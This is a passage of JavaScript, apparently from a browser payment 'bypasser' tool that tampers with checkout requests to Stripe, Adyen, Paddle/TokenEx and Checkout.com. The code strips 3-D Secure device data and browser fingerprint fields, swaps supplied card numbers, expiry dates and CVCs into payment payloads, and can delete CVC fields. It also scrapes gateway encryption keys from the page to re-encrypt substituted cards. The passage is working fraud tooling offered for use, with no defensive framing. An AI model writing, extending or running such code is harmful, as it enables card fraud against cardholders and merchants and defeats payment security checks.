            "three_d_secure%5Bdevice_data%5D=" + encodedDeviceDataParam
          );
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    const browserParamMatch = cleanedBody.match(/(?:^|&)(?:browser=|browser%3D)([^&]*)/i);
    if (browserParamMatch) {
      try {
        const encodedBrowserPayload = browserParamMatch[1];
        const decodedBrowserPayload = decodeURIComponent(encodedBrowserPayload);
        try {
          const browserPayload = JSON.parse(decodedBrowserPayload);
          for (const fieldName of ["browser_locale", "locale", "language", "browserLanguage"]) {
            if (fieldName in browserPayload) {
              browserPayload[fieldName] = "";
              modified = true;
            }
          }
          for (const fieldName of [
            "timezone",
            "user_agent",
            "screen_width",
            "screen_height",
            "color_depth"
          ]) {
            if (fieldName in browserPayload) {
              delete browserPayload[fieldName];
              modified = true;
            }
          }
          if (modified) {
            const serializedData = JSON.stringify(browserPayload);
            const encodedBrowserParam = encodeURIComponent(serializedData);
            const browserParamPrefix = browserParamMatch[0].startsWith("&") ? "&" : "";
            const browserParamKey = browserParamMatch[0].includes("%3D")
              ? "browser%3D"
              : "browser=";
            cleanedBody = cleanedBody.replace(
              browserParamMatch[0],
              "" + browserParamPrefix + browserParamKey + encodedBrowserParam
            );
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    try {
      if (cleanedBody.startsWith("{") || cleanedBody.startsWith("%7B")) {
        const fingerprintFields = [
          "timezone",
          "user_agent",
          "screen_width",
          "screen_height",
          "color_depth",
          "browserTZ",
          "browserScreenHeight",
          "browserScreenWidth",
          "browserColorDepth"
        ];
        const stripFingerprintFieldsRecursively = payloadNode => {
          if (typeof payloadNode === "object" && payloadNode) {
            for (const fieldName of ["browser_locale", "locale", "language", "browserLanguage"]) {
              if (fieldName in payloadNode) {
                payloadNode[fieldName] = "";
                modified = true;
              }
            }
            for (const fieldName of fingerprintFields) {
              if (fieldName in payloadNode) {
                delete payloadNode[fieldName];
                modified = true;
              }
            }
            for (const dataNode of Object.values(payloadNode)) {
              if (typeof dataNode === "object") {
                stripFingerprintFieldsRecursively(dataNode);
              }
            }
          }
        };
        const decodedJsonBody = cleanedBody.startsWith("%")
          ? decodeURIComponent(cleanedBody)
          : cleanedBody;
        const parsedJsonBody = JSON.parse(decodedJsonBody);
        stripFingerprintFieldsRecursively(parsedJsonBody);
        if (modified) {
          cleanedBody = JSON.stringify(parsedJsonBody);
          if (requestBodyText.startsWith("%")) {
            cleanedBody = encodeURIComponent(cleanedBody);
          }
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    return {
      modified,
      body: cleanedBody
    };
  }
  function removeBrowserLanguage(rawBodyText) {
    if (typeof rawBodyText !== "string") {
      return rawBodyText;
    }
    try {
      return decodeAndModify(rawBodyText).body;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to remove browser language", error);
      }
      return rawBodyText;
    }
  }
  function removeLocaleOnly(browserFingerprintJson) {
    let browserFingerprintPayload;
    let didRemoveLocaleFields = false;
    if (typeof browserFingerprintJson === "string") {
      try {
        browserFingerprintPayload = JSON.parse(browserFingerprintJson);
      } catch (error) {
        if (/[a-z]{2}-[A-Z]{2}/i.test(browserFingerprintJson)) {
          return browserFingerprintJson.replace(/([a-z]{2})-[A-Z]{2,}/gi, "$1-");
        }
        return null;
      }
    } else {
      browserFingerprintPayload = browserFingerprintJson;
    }
    if (
      browserFingerprintPayload &&
      typeof browserFingerprintPayload === "object" &&
      browserFingerprintPayload.browser
    ) {
      if (browserFingerprintPayload.browser.language) {
        delete browserFingerprintPayload.browser.language;
        didRemoveLocaleFields = true;
      }
      if (browserFingerprintPayload.browser.acceptLanguage) {
        delete browserFingerprintPayload.browser.acceptLanguage;
        didRemoveLocaleFields = true;
      }
      if (browserFingerprintPayload.browser.timezone) {
        delete browserFingerprintPayload.browser.timezone;
        didRemoveLocaleFields = true;
      }
    }
    if (didRemoveLocaleFields) {
      return JSON.stringify(browserFingerprintPayload);
    }
    return null;
  }
  function replaceCardInPayload(payload, cardData) {
    if (typeof payload !== "string") {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("Payload is not a string, cannot replace card");
      }
      return payload;
    }
    try {
      const originalPayload = payload;
      let modifiedPayload = originalPayload;
      const cardPayload = {
        number: /card%5Bnumber%5D=[^&]*/gi,
        cvc: /card%5Bcvc%5D=[^&]*/gi,
        month: /card%5Bexp_month%5D=[^&]*/gi,
        year: /card%5Bexp_year%5D=[^&]*/gi
      };
      const originalCardFields = {
        number: /card\[number\]=[^&]*/gi,
        cvc: /card\[cvc\]=[^&]*/gi,
        month: /card\[exp_month\]=[^&]*/gi,
        year: /card\[exp_year\]=[^&]*/gi
      };
      const encodedStripeFieldPatterns = {
        number: /payment_method_data%5Bcard%5D%5Bnumber%5D=[^&]*/gi,
        cvc: /payment_method_data%5Bcard%5D%5Bcvc%5D=[^&]*/gi,
        month: /payment_method_data%5Bcard%5D%5Bexp_month%5D=[^&]*/gi,
        year: /payment_method_data%5Bcard%5D%5Bexp_year%5D=[^&]*/gi
      };
      const stripeFieldPatterns = {
        number: /payment_method_data\[card\]\[number\]=[^&]*/gi,
        cvc: /payment_method_data\[card\]\[cvc\]=[^&]*/gi,
        month: /payment_method_data\[card\]\[exp_month\]=[^&]*/gi,
        year: /payment_method_data\[card\]\[exp_year\]=[^&]*/gi
      };
      const hasPaymentMethodCardPayload =
        (modifiedPayload.includes("payment_method_data") && modifiedPayload.includes("[card]")) ||
        (modifiedPayload.includes("payment_method_data") &&
          (modifiedPayload.includes("%5Bcard%5D") ||
            modifiedPayload.includes("payment_method_data%5Bcard%5D")));
      if (hasPaymentMethodCardPayload) {
        if (
          modifiedPayload.includes("%5Bcard%5D%5Bnumber%5D") ||
          modifiedPayload.includes("%5Bcard%5D%5Bcvc%5D")
        ) {
          modifiedPayload = modifiedPayload.replace(
            encodedStripeFieldPatterns.number,
            "payment_method_data%5Bcard%5D%5Bnumber%5D=" + encodeURIComponent(cardData.number)
          );
          if (cardData.cvc) {
            modifiedPayload = modifiedPayload.replace(
              encodedStripeFieldPatterns.cvc,
              "payment_method_data%5Bcard%5D%5Bcvc%5D=" + encodeURIComponent(cardData.cvc)
            );
          } else {
            modifiedPayload = modifiedPayload.replace(
              /payment_method_data%5Bcard%5D%5Bcvc%5D=[^&]*/gi,
              ""
            );
            modifiedPayload = modifiedPayload.replace(/&{2,}/g, "&").replace(/^&|&$/g, "");
          }
          modifiedPayload = modifiedPayload.replace(
            encodedStripeFieldPatterns.month,
            "payment_method_data%5Bcard%5D%5Bexp_month%5D=" + encodeURIComponent(cardData.month)
          );
          modifiedPayload = modifiedPayload.replace(
            encodedStripeFieldPatterns.year,
            "payment_method_data%5Bcard%5D%5Bexp_year%5D=" + encodeURIComponent(cardData.year)
          );
        } else {
          modifiedPayload = modifiedPayload.replace(
            stripeFieldPatterns.number,
            "payment_method_data[card][number]=" + cardData.number
          );
          if (cardData.cvc) {
            modifiedPayload = modifiedPayload.replace(
              stripeFieldPatterns.cvc,
              "payment_method_data[card][cvc]=" + cardData.cvc
            );
          } else {
            modifiedPayload = modifiedPayload.replace(
              /payment_method_data\[card\]\[cvc\]=[^&]*/gi,
              ""
            );
            modifiedPayload = modifiedPayload.replace(/&{2,}/g, "&").replace(/^&|&$/g, "");
          }
          modifiedPayload = modifiedPayload.replace(
            stripeFieldPatterns.month,
            "payment_method_data[card][exp_month]=" + cardData.month
          );
          modifiedPayload = modifiedPayload.replace(
            stripeFieldPatterns.year,
            "payment_method_data[card][exp_year]=" + cardData.year
          );
        }
        modifiedPayload = modifiedPayload.replace(
          /payment_method_data%5Bcard%5D%5Bnumber%5D=0+(\s|%20|\+)*0*(\s|%20|\+)*0*(\s|%20|\+)*0*/gi,
          "payment_method_data%5Bcard%5D%5Bnumber%5D=" + encodeURIComponent(cardData.number)
        );
        modifiedPayload = modifiedPayload.replace(
          /payment_method_data\[card\]\[number\]=0+(\s+0+)*/gi,
          "payment_method_data[card][number]=" + cardData.number
        );
      } else {
        if (modifiedPayload.includes("%5Bnumber%5D") || modifiedPayload.includes("%5Bcvc%5D")) {
          modifiedPayload = modifiedPayload.replace(
            cardPayload.number,
            "card%5Bnumber%5D=" + encodeURIComponent(cardData.number)
          );
          if (cardData.cvc) {
            modifiedPayload = modifiedPayload.replace(
              cardPayload.cvc,
              "card%5Bcvc%5D=" + encodeURIComponent(cardData.cvc)
            );
          } else {
            modifiedPayload = modifiedPayload.replace(/card%5Bcvc%5D=[^&]*/gi, "");
            modifiedPayload = modifiedPayload.replace(/&{2,}/g, "&").replace(/^&|&$/g, "");
          }
          modifiedPayload = modifiedPayload.replace(
            cardPayload.month,
            "card%5Bexp_month%5D=" + encodeURIComponent(cardData.month)
          );
          modifiedPayload = modifiedPayload.replace(
            cardPayload.year,
            "card%5Bexp_year%5D=" + encodeURIComponent(cardData.year)
          );
        } else {
          modifiedPayload = modifiedPayload.replace(
            originalCardFields.number,
            "card[number]=" + cardData.number
          );
          if (cardData.cvc) {
            modifiedPayload = modifiedPayload.replace(
              originalCardFields.cvc,
              "card[cvc]=" + cardData.cvc
            );
          } else {
            modifiedPayload = modifiedPayload.replace(/card\[cvc\]=[^&]*/gi, "");
            modifiedPayload = modifiedPayload.replace(/&{2,}/g, "&").replace(/^&|&$/g, "");
          }
          modifiedPayload = modifiedPayload.replace(
            originalCardFields.month,
            "card[exp_month]=" + cardData.month
          );
          modifiedPayload = modifiedPayload.replace(
            originalCardFields.year,
            "card[exp_year]=" + cardData.year
          );
        }
        modifiedPayload = modifiedPayload.replace(
          /card%5Bnumber%5D=0+/gi,
          "card%5Bnumber%5D=" + encodeURIComponent(cardData.number)
        );
        modifiedPayload = modifiedPayload.replace(
          /card\[number\]=0+/gi,
          "card[number]=" + cardData.number
        );
      }
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log("Card replaced in payload", {
          originalLength: originalPayload.length,
          modifiedLength: modifiedPayload.length,
          cardNumber: cardData.number.substring(0, 4) + "****" + cardData.number.substring(12),
          format: hasPaymentMethodCardPayload ? "invoice.stripe.com" : "standard"
        });
      }
      return modifiedPayload;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to replace card in payload", error);
      }
      return payload;
    }
  }
  function preserveHeaders(headers, contentType = null) {
    try {
      if (!headers) {
        if (contentType) {
          return {
            "Content-Type": contentType
          };
        }
        return {};
      }
      if (headers instanceof Headers) {
        const clonedHeaders = new Headers(headers);
        if (contentType && !clonedHeaders.has("Content-Type")) {
          clonedHeaders.set("Content-Type", contentType);
        }
        if (headers.has("Authorization")) {
          clonedHeaders.set("Authorization", headers.get("Authorization"));
        }
        return clonedHeaders;
      }
      if (typeof headers === "object") {
        const preservedHeaders = {
          ...headers
        };
        if (contentType) {
          if (
            !Object.keys(preservedHeaders).some(
              headerName => headerName.toLowerCase() === "content-type"
            )
          ) {
            preservedHeaders["Content-Type"] = contentType;
          }
        }
        const matchingItem = Object.keys(headers).find(
          headerName => headerName.toLowerCase() === "authorization"
        );
        if (matchingItem && !preservedHeaders[matchingItem]) {
          preservedHeaders[matchingItem] = headers[matchingItem];
        }
        return preservedHeaders;
      }
      return headers;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Failed to preserve headers", error);
      }
      return headers;
    }
  }
  function rebuildRequestBody(originalBody, bodyText) {
    if (originalBody instanceof FormData) {
      const formData = new FormData();
      const params = new URLSearchParams(bodyText);
      for (const [key, paramValue] of params.entries()) {
        formData.append(key, paramValue);
      }
      return formData;
    }
    if (originalBody instanceof URLSearchParams) {
      return new URLSearchParams(bodyText);
    }
    return bodyText;
  }
  function isValidRequestPayload(payload) {
    try {
      return (
        !!payload &&
        (!payload.body ||
          typeof payload.body === "string" ||
          payload.body instanceof FormData ||
          payload.body instanceof URLSearchParams ||
          (stripeBypasserLogger && stripeBypasserLogger.warn("Unsupported body type"), false))
      );
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.error("Request validation failed", error);
      }
      return false;
    }
  }
  function parseJsonStringPayload(payload, gatewayLabel) {
    if (typeof payload !== "string") {
      stripeBypasserLogger?.warn(gatewayLabel + " payload is not a string, cannot replace card");
      return null;
    }
    try {
      const payloadObject = JSON.parse(payload);
      if (!payloadObject || typeof payloadObject !== "object") {
        stripeBypasserLogger?.warn(gatewayLabel + " payload does not have valid JSON structure");
        return null;
      }
      return payloadObject;
    } catch (error) {
      stripeBypasserLogger?.warn(gatewayLabel + " payload is not valid JSON", error);
      return null;
    }
  }
  function resolveGatewayCvcMode(options, defaultMode = "generate") {
    const cvcModeSetting = options?.cvcMode;
    return cvcModeSetting === false ? "remove" : cvcModeSetting || defaultMode;
  }
  function serializeGatewayPayloadMutation(
    payloadObject,
    originalPayload,
    gatewayLabel,
    mutationDetails = null
  ) {
    const serializedData = JSON.stringify(payloadObject);
    if (mutationDetails) {
      stripeBypasserLogger?.log(gatewayLabel + " payload modification complete", {
        ...mutationDetails,
        originalLength: typeof originalPayload === "string" ? originalPayload.length : 0,
        modifiedLength: serializedData.length
      });
    }
    return serializedData;
  }
  function normalizeCardMonthText(monthValue) {
    return String(monthValue || "")
      .replace(/\D/g, "")
      .padStart(2, "0");
  }
  function normalizeCardMonthNumber(monthValue) {
    if (monthValue === undefined || monthValue === null || monthValue === "") {
      return null;
    }
    const parsedNumber = parseInt(String(monthValue).replace(/\D/g, ""), 10);
    return Number.isFinite(parsedNumber) ? parsedNumber : null;
  }
  function normalizeCardYearSuffix(yearValue) {
    let normalizedText = String(yearValue || "").replace(/\D/g, "");
    if (!normalizedText) {
      return "";
    }
    if (normalizedText.length === 4) {
      normalizedText = normalizedText.slice(-2);
    }
    return normalizedText.padStart(2, "0");
  }
  function normalizeCardYearNumber(yearValue) {
    if (yearValue === undefined || yearValue === null || yearValue === "") {
      return null;
    }
    const parsedNumber = parseInt(String(yearValue).replace(/\D/g, ""), 10);
    if (!Number.isFinite(parsedNumber)) {
      return null;
    }
    return parsedNumber < 100 ? 2000 + parsedNumber : parsedNumber;
  }
  function setOwnPropertyIfPresent(target, fieldKey, fieldValue) {
    if (!target || !Object.prototype.hasOwnProperty.call(target, fieldKey)) {
      return false;
    }
    if (fieldValue === undefined || fieldValue === null) {
      return false;
    }
    target[fieldKey] = fieldValue;
    return true;
  }
  function deleteOwnProperties(target, fieldKeys = []) {
    let removedAny = false;
    for (const fieldKey of fieldKeys) {
      if (target && Object.prototype.hasOwnProperty.call(target, fieldKey)) {
        delete target[fieldKey];
        removedAny = true;
      }
    }
    return removedAny;
  }
  function findScriptTextMatch(patternList) {
    if (
      typeof document === "undefined" ||
      !document ||
      typeof document.querySelectorAll !== "function"
    ) {
      return null;
    }
    try {
      const matchingElements = document.querySelectorAll("script");
      for (const elementNode of matchingElements) {
        const elementNodeTextContent = elementNode.textContent || elementNode.innerText || "";
        for (const pattern of patternList) {
          const match = elementNodeTextContent.match(pattern);
          if (match) {
            return match[1] || match[0] || null;
          }
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    return null;
  }
  function logToConsole(...logParts) {
    if (typeof console !== "undefined" && typeof console.log === "function") {
      console.log(...logParts);
    }
  }
  function maskCardNumber(cardNumber, headLength = 4, tailLength = 4) {
    const normalizedText = String(cardNumber || "").replace(/\s/g, "");
    if (!normalizedText) {
      return "N/A";
    }
    if (normalizedText.length <= headLength + tailLength) {
      return normalizedText;
    }
    return normalizedText.slice(0, headLength) + "****" + normalizedText.slice(-tailLength);
  }
  function encryptCardWithAdyen(sourceCardData, publicKey) {
    try {
      if (!sourceCardData?.number || typeof window === "undefined") {
        return null;
      }
      const cardPayload = {
        number: sourceCardData.number,
        cvc: sourceCardData.cvc || "",
        holderName: sourceCardData.holderName || sourceCardData.name || getDefaultCardholderName(),
        expiryMonth: normalizeCardMonthText(sourceCardData.month),
        expiryYear: normalizeCardYearSuffix(sourceCardData.year),
        generationtime: new Date().toISOString()
      };
      const encryptorCandidates = [
        window.AdyenEncryption,
        window.adyen,
        window.Adyen,
        window.__adyen,
        window.adyenjs
      ];
      for (const encryptorCandidate of encryptorCandidates) {
        if (encryptorCandidate && typeof encryptorCandidate.encrypt === "function") {
          try {
            const encryptedFields = encryptorCandidate.encrypt(publicKey, cardPayload);
            if (encryptedFields && (encryptedFields.encryptedCardNumber || encryptedFields.cc)) {
              return {
                encryptedCardNumber: encryptedFields.encryptedCardNumber || encryptedFields.cc,
                encryptedExpiryMonth: encryptedFields.encryptedExpiryMonth || encryptedFields.mes,
                encryptedExpiryYear: encryptedFields.encryptedExpiryYear || encryptedFields.ano,
                encryptedSecurityCode:
                  encryptedFields.encryptedSecurityCode ||
                  encryptedFields.encryptedCvc ||
                  encryptedFields.cvc
              };
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        }
      }
      return null;
    } catch (error) {
      stripeBypasserLogger?.error("Error in encryptCardWithAdyen:", error);
      return null;
    }
  }
  function resolveTokenExKey(tokenExKeyCandidate) {
    try {
      if (
        tokenExKeyCandidate &&
        typeof tokenExKeyCandidate === "string" &&
        tokenExKeyCandidate.length > 50
      ) {
        return tokenExKeyCandidate;
      }
      if (typeof window === "undefined") {
        return null;
      }
      const candidateTokenExKeys = [
        window.tokenexKey,
        window.TokenEx?.key,
        window.TokenEx?.publicKey,
        window.__tokenexKey__,
        window.paddle?.tokenexKey,
        window.Paddle?.tokenexKey
      ];
      for (const candidateKey of candidateTokenExKeys) {
        if (candidateKey && typeof candidateKey === "string" && candidateKey.length > 50) {
          return candidateKey;
        }
      }
      if (typeof document === "undefined") {
        return null;
      }
      const matchingElement = document.querySelector(
        'input[name="tokenex_key"], input[id="tokenex_key"], input[data-tokenex-key], [data-tokenex-key]'
      );
      if (
        matchingElement &&
        (matchingElement.value || matchingElement.getAttribute("data-tokenex-key"))
      ) {
        return (
          matchingElement.value ||
          matchingElement.getAttribute("data-tokenex-key") ||
          ""
        ).trim();
      }
      return findScriptTextMatch([
        /tokenexKey["\s]*[:=]["\s]*["']([^"']{50,})["']/i,
        /tokenex["\s]*[:=]["\s]*["']([^"']{50,})["']/i,
        /["']([A-Za-z0-9+/=]{100,})["']\s*[;,]\s*(?:tokenex|TxEncrypt)/i
      ]);
    } catch (error) {
      stripeBypasserLogger?.error("Error extracting TokenEx key", error);
      return null;
    }
  }
  function collectTokenExEncryptFunctions() {
    const encryptFunctions = [];
    const appendEncryptFunction = candidateFunction => {
      if (
        typeof candidateFunction === "function" &&
        !encryptFunctions.includes(candidateFunction)
      ) {
        encryptFunctions.push(candidateFunction);
      }
    };
    if (typeof window === "undefined") {
      return encryptFunctions;
    }
    [
      window.TxEncrypt,
      window.TokenEx?.encrypt,
      window.TokenEx?.Encrypt,
      window.tokenex?.encrypt,
      window.__TxEncrypt__
    ].forEach(appendEncryptFunction);
    for (const functionName of ["TxEncrypt", "tokenexEncrypt", "encryptCard", "TokenExEncrypt"]) {
      try {
        appendEncryptFunction(window[functionName]);
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    try {
      if (window.frames !== undefined) {
        for (let frameIndex = 0; frameIndex < window.frames.length; frameIndex++) {
          try {
            const frameWindow = window.frames[frameIndex];
            if (frameWindow && frameWindow !== window) {
              appendEncryptFunction(frameWindow.TxEncrypt);
              appendEncryptFunction(frameWindow.TokenEx?.encrypt);
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    return encryptFunctions;
  }
  function runTokenExEncryptFunction(encryptFunction, tokenExKey, plainTextValue) {
    let encryptedValue = null;
    if (encryptFunction.length >= 3) {
      let didUseCallback = false;
      encryptedValue = encryptFunction(tokenExKey, plainTextValue, callbackValue => {
        didUseCallback = true;
        encryptedValue = callbackValue;
      });
      if ((encryptedValue === undefined || encryptedValue === null) && didUseCallback) {
        return encryptedValue;
      }
    } else {
      encryptedValue = encryptFunction(tokenExKey, plainTextValue);
    }
    if (encryptedValue && typeof encryptedValue.then === "function") {
      stripeBypasserLogger?.warn(
        "[Paddle] TokenEx encrypt appears async (Promise) - not supported yet"
      );
      logToConsole("[Paddle] TokenEx encrypt returned Promise (async) - skipping");
      return null;
    }
    return encryptedValue;
  }
  function normalizeTokenExEncryptedPayload(encryptedCardNumber, encryptedCvc = null) {
    if (
      encryptedCardNumber &&
      typeof encryptedCardNumber === "string" &&
      encryptedCardNumber.length > 0
    ) {
      return {
        encrypted_card_number: encryptedCardNumber,
        encrypted_cvv: encryptedCvc && typeof encryptedCvc === "string" ? encryptedCvc : null
      };
    }
    if (
      encryptedCardNumber &&
      typeof encryptedCardNumber === "object" &&
      (encryptedCardNumber.encrypted_card_number || encryptedCardNumber.encryptedCardNumber)
    ) {
      return {
        encrypted_card_number:
          encryptedCardNumber.encrypted_card_number ||
          encryptedCardNumber.encryptedCardNumber ||
          null,
        encrypted_cvv:
          encryptedCardNumber.encrypted_cvv ||
          encryptedCardNumber.encryptedCvv ||
          (encryptedCvc && typeof encryptedCvc === "string" ? encryptedCvc : null) ||
          null
      };
    }
    return null;
  }
  function encryptCardWithTokenEx(cardDataToEncrypt, tokenExKeyHint) {
    try {
      if (!cardDataToEncrypt?.number) {
        return null;
      }
      const resolvedTokenExKey = resolveTokenExKey(tokenExKeyHint);
      if (!resolvedTokenExKey) {
        stripeBypasserLogger?.warn("[Paddle] TokenEx key not found on page - cannot encrypt card");
        return null;
      }
      if (typeof window === "undefined") {
        return null;
      }
      const normalizedCardNumber = (cardDataToEncrypt.number || "").replace(/\s/g, "");
      const normalizedCvc = (cardDataToEncrypt.cvc || "").replace(/\D/g, "");
      const encryptFunctions = collectTokenExEncryptFunctions();
      logToConsole(
        "[Paddle] encryptCardWithTokenEx: key=",
        !!resolvedTokenExKey,
        "keyLen=",
        resolvedTokenExKey.length,
        "cardNumber=",
        normalizedCardNumber.slice(0, 6) + "****",
        "tokenExObjects=",
        encryptFunctions.length
      );
      for (const encryptFunction of encryptFunctions) {
        try {
          logToConsole("[Paddle] Trying TokenEx encrypt function...");
          const encryptedCardNumber = runTokenExEncryptFunction(
            encryptFunction,
            resolvedTokenExKey,
            normalizedCardNumber
          );
          logToConsole(
            "[Paddle] After encrypt call: type=",
            typeof encryptedCardNumber,
            "isPromise=",
            encryptedCardNumber && typeof encryptedCardNumber.then === "function",
            "isString=",
            typeof encryptedCardNumber === "string",
            "len=",
            (() => {
              if (typeof encryptedCardNumber === "string") {
                return encryptedCardNumber.length;
              }
              if (encryptedCardNumber && typeof encryptedCardNumber === "object") {
                return "object";
              }
              return "null";
            })()
          );
          if (!encryptedCardNumber) {
            continue;
          }
          let encryptedCvc = null;
          if (normalizedCvc) {
            try {
              encryptedCvc = runTokenExEncryptFunction(
                encryptFunction,
                resolvedTokenExKey,
                normalizedCvc
              );
            } catch (error) {
              encryptedCvc = null;
            }
          }
          const encryptedCardPayload = normalizeTokenExEncryptedPayload(
            encryptedCardNumber,
            encryptedCvc
          );
          if (encryptedCardPayload?.encrypted_card_number) {
            logToConsole(
              "[Paddle] ✅ Encryption SUCCESS:",
              "encNumber=",
              !!encryptedCardPayload.encrypted_card_number,
              "encCvv=",
              !!encryptedCardPayload.encrypted_cvv
            );
            return encryptedCardPayload;
          }
          logToConsole(
            "[Paddle] Encrypt returned unexpected format:",
            typeof encryptedCardNumber,
            encryptedCardNumber
          );
        } catch (error) {
          logToConsole("[Paddle] Encrypt function threw error:", error.message || error);
        }
      }
      stripeBypasserLogger?.warn(
        "[Paddle] TokenEx encrypt function not found or failed - card not replaced. Check buy.paddle.com iframe has TxEncrypt loaded."
      );
      logToConsole(
        "[Paddle] ❌ Encryption FAILED: No working TokenEx function found (tried",
        encryptFunctions.length,
        "functions)"
      );
      return null;
    } catch (error) {
      stripeBypasserLogger?.error("Error in encryptCardWithTokenEx", error);
      return null;
    }
  }
  function applyPaddleCardMetadata(paddleCard, cardData) {
    const normalizedCardNumber = String(cardData?.number || "").replace(/\D/g, "");
    if (!paddleCard || normalizedCardNumber.length < 6) {
      return;
    }
    paddleCard.metadata ||= {};
    paddleCard.metadata.card_first_six = normalizedCardNumber.slice(0, 6);
    paddleCard.metadata.card_last_four = normalizedCardNumber.slice(-4);
    const normalizedMonth = normalizeCardMonthNumber(cardData.month);
    if (normalizedMonth !== null) {
      paddleCard.metadata.expiry_month = normalizedMonth;
    }
    const normalizedYear = normalizeCardYearNumber(cardData.year);
    if (normalizedYear !== null) {
      paddleCard.metadata.expiry_year = normalizedYear;
    }
    const cardBrand = getCardBrand(normalizedCardNumber);
    if (cardBrand && cardBrand !== "unknown") {
      paddleCard.metadata.card_brand = String(cardBrand).toLowerCase();
    }
    logToConsole(
      "[Paddle] Updated metadata",
      paddleCard.metadata.card_first_six,
      "****",
      paddleCard.metadata.card_last_four
    );
  }
  function resolvePaddlePayloadTokenExKey(tokenExCard, paddlePayloadData, payloadObject) {
    return (
      tokenExCard?.tokenex_key ||
      tokenExCard?.tokenexKey ||
      paddlePayloadData?.tokenex_key ||
      paddlePayloadData?.tokenexKey ||
      payloadObject?.tokenex_key ||
      payloadObject?.tokenexKey
    );
  }
  function applyCheckoutPayloadCardFields(target, cardData, cvcMode, targetLabel = "payload") {
    if (!target || typeof target !== "object") {
      return false;
    }
    let payloadChanged = false;
    payloadChanged = setOwnPropertyIfPresent(target, "number", cardData.number) || payloadChanged;
    const expiryMonth = normalizeCardMonthNumber(cardData.month);
    if (expiryMonth !== null) {
      payloadChanged =
        setOwnPropertyIfPresent(target, "expiry_month", expiryMonth) || payloadChanged;
    }
    const expiryYear = normalizeCardYearNumber(cardData.year);
    if (expiryYear !== null) {
      payloadChanged = setOwnPropertyIfPresent(target, "expiry_year", expiryYear) || payloadChanged;
    }
    if (Object.prototype.hasOwnProperty.call(target, "cvv")) {
      if (cvcMode === "remove") {
        delete target.cvv;
        stripeBypasserLogger?.log("[CheckoutComPayload] Removed " + targetLabel + ".cvv");
        payloadChanged = true;
      } else if (cardData.cvc) {
        target.cvv = cardData.cvc;
        payloadChanged = true;
      }
    }
    return payloadChanged;
  }
  function replaceCardInAdyenPayload(payload, cardData, options = {}) {
    const payloadObject = parseJsonStringPayload(payload, "Adyen");
    if (!payloadObject) {
      return payload;
    }
    try {
      const paymentMethod = payloadObject?.details?.paymentMethod || payloadObject?.paymentMethod;
      if (!paymentMethod) {
        stripeBypasserLogger?.warn("Payload does not have Adyen structure", {
          hasPayloadObj: !!payloadObject,
          hasDetails: !!payloadObject?.details,
          hasDetailsPaymentMethod: !!payloadObject?.details?.paymentMethod,
          hasDirectPaymentMethod: !!payloadObject?.paymentMethod
        });
        return payload;
      }
      const hadEncryptedSecurityCode = Object.prototype.hasOwnProperty.call(
        paymentMethod,
        "encryptedSecurityCode"
      );
      const adyenPublicKey = (() => {
        try {
          if (typeof window !== "undefined") {
            const directPublicKey =
              window.adyenPublicKey ||
              window.ADYEN_PUBLIC_KEY ||
              window.__ADYEN_PUBLIC_KEY__ ||
              window.adyen?.config?.publicKey;
            if (directPublicKey) {
              return directPublicKey;
            }
            return findScriptTextMatch([
              /publicKey["\s]*:["\s]*["']([^"']+)["']/i,
              /adyenPublicKey["\s]*=["\s]*["']([^"']+)["']/i,
              /10001\|[A-Za-z0-9+/=]{100,}/
            ]);
          }
          return null;
        } catch (error) {
          stripeBypasserLogger?.error("Error extracting Adyen public key:", error);
          return null;
        }
      })();
      const encryptedCardPayload = adyenPublicKey
        ? encryptCardWithAdyen(cardData, adyenPublicKey)
        : null;
      if (encryptedCardPayload && encryptedCardPayload.encryptedCardNumber) {
        paymentMethod.encryptedCardNumber = encryptedCardPayload.encryptedCardNumber;
        paymentMethod.encryptedExpiryMonth = encryptedCardPayload.encryptedExpiryMonth;
        paymentMethod.encryptedExpiryYear = encryptedCardPayload.encryptedExpiryYear;
        if (encryptedCardPayload.encryptedSecurityCode) {
          paymentMethod.encryptedSecurityCode = encryptedCardPayload.encryptedSecurityCode;
        }
        stripeBypasserLogger?.log("Replaced encrypted card fields with new card data", {
          hasEncryptedCvc: !!encryptedCardPayload.encryptedSecurityCode
        });
      } else {
        if (cardData && cardData.number && cardData.number.length >= 4) {
          const last4CreditCardDigits = cardData.number.slice(-4);
          if (payloadObject.details && payloadObject.details.last4CreditCardDigits !== undefined) {
            payloadObject.details.last4CreditCardDigits = last4CreditCardDigits;
          }
        }
        stripeBypasserLogger?.log("Using existing encrypted fields (new encryption not available)");
      }
      const cvcMode = resolveGatewayCvcMode(options);
      let cvcRemoved = false;
      if (cvcMode === "remove") {
        cvcRemoved = deleteOwnProperties(paymentMethod, [
          "encryptedSecurityCode",
          "securityCode",
          "cvc",
          "cvv",
          "encryptedCvc",
          "encryptedCvv"
        ]);
        if (cvcRemoved) {
          stripeBypasserLogger?.log("Removed Adyen CVC fields from payload");
        } else {
          stripeBypasserLogger?.warn("No CVC fields found in Adyen payload to remove");
        }
      } else if (cvcMode === "generate" || cvcMode === "custom") {
        if (encryptedCardPayload && encryptedCardPayload.encryptedSecurityCode) {
          paymentMethod.encryptedSecurityCode = encryptedCardPayload.encryptedSecurityCode;
          stripeBypasserLogger?.log("Injected encrypted CVC (cvcMode: " + cvcMode + ")");
        } else {
          stripeBypasserLogger?.log(
            "Keeping original CVC in payload (cvcMode: " +
              cvcMode +
              ", Adyen SDK did not return encryptedSecurityCode)"
          );
        }
      }
      const cvcRemovedInfo = {
